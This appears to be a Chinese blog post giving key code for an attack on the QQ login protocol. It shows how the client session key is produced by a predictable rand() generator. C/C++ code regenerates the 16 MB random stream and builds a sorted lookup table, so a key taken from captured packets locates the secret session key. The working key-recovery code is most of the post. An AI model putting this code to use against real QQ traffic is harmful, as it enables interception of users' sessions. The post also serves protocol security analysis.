QQ会话密码攻击的一些关键代码:random.bin的生成

QQ登录协议安全性分析和改进

如上面所述,具体的上下文请参考上面的那篇日志,这里就不再累赘了。

为了方便起见,我们使用“上文”来代替上面提到的那篇日志。

对于QQ登陆协议中由客户端生成的密钥ck采用如下例程:

int fillrandom (char *buffer, const int size) {

    int i;

    for(i = 0; i < size; i++) buffer[i] = rand() & 0xff;

}

因此,由上文可知,ck应该在random.bin中出现的,而random.bin大小为16M。于是可以直接生成random.bin文件,使用类似下面的这个函数

//buffer大小至少为16M

int generate_random (char *buffer) {

    return fillrandom(buffer, 16<<20);

}

然后直接将buffer的内容保存到文件random.bin就可以了。

进一步,我们发现,临时密钥tk和ck之间存在某种偏移量的关系,而tk是可以直接从数据包中得到的。于是我们可以这样做,就是搜索找到tk在random.bin的偏移量,然后加16,得到的就是ck在random.bin中的偏移量了。
为了进一步提高这个效率,建议对random.bin进行排序,然后使用对半搜索的技巧,可以大大提高搜索的时间,具体的搜索算法可以参考《The Art of Computer Programming》。而这也是算法得以移植到资源受限设备上的关键之处。
下面这段仅供参考:(其实只要使用th的前5个字节就可以定位了,再加上3个字节刚好可以表示16M的地址空间,一共是8个字节,使用long long 或者__int64)

#define BLOCK_SIZE 0x200
#define BLOCK_16M 0x8000
#define BLOCK_COUNT BLOCK_16M

using namespace std;

static int status = 0;
void _srand(int seed)
{
//srand(seed);
status = seed;
}

int _rand()
{
//return rand();
return(((status = status * 214013L + 2531011L) >> 16) & 0x7fff);
}

#define TEST_LEN 5
#define TOTAL_BYTE (BLOCK_SIZE * BLOCK_16M)
unsigned char buffer[TOTAL_BYTE + TEST_LEN];
unsigned __int64 hash[TOTAL_BYTE];

int main()
{
int i, j;

_srand(1);

for(i = 0; i < TOTAL_BYTE; i++) {
buffer[i] = (unsigned char)(_rand() & 0xff);
}

//懒人啊,16M是一个周期,直接将前面的一段复制到后面,填满一个key的长度,这样就不用进行求余操作了。
for(i = 0; i < TEST_LEN; i++) buffer[TOTAL_BYTE + i] = buffer[i];

memset(hash, 0, sizeof(hash));
for(j = 0; j < TOTAL_BYTE; j++) {
memcpy((unsigned char*)(hash + j) + 3, buffer + j, TEST_LEN);//前5个字节作为key
hash[j] |= j & 0xffffff;//低三个字节保存key对应在random.bin中的偏移量作为value
}

sort(hash, hash + TOTAL_BYTE);//排序,前5个字节key决定了(key,value)的大小关系

//保存到文件
FILE *f = NULL;
f = fopen("sorted.bin", "wb");
fwrite(hash, sizeof(hash), 1, f);
fclose(f);

return 0;

}

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注